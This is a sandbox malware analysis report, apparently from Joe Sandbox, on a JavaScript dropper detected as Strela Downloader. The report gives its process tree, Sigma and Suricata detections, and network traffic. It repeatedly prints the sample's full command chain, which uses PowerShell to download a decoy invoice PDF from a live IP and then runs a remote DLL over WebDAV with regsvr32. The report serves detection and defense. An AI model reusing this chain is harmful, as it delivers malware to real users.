Edit tour

Windows Analysis Report
867419171264419639.js

Overview

General Information

Sample name:	867419171264419639.js
Analysis ID:	1587930
MD5:	11498690ec7d5d5dd3f07d7dc7461515
SHA1:	bd19ac998b1b9bbde1e6422982105649116eb8c4
SHA256:	5d1cf48ab9429d7d7fe3e0567ea04f269f1f43e806a6e270506f5b26fe51d5e8
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6420 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2052 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7056 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4148 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2936 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1428 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1528,i,17562366953843885793,6195300308497271525,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4788 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2820 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5828 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6420	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2052, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7056, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2052, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7056, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", ProcessId: 6420, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2820, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49712

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, ProcessId: 2052, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, ProcessId: 2052, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, ProcessId: 2052, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, ProcessId: 2052, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, ProcessId: 2052, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", ProcessId: 6420, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2052, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7056, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2820, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5828, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2820, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\867419171264419639.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\151741391027391.dll, ProcessId: 2052, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:32:52.865603+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49712	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:32:50.650651+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 867419171264419639.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 867419171264419639.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49712 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:32:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: global traffic

TCP traffic: 192.168.2.6:49712 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

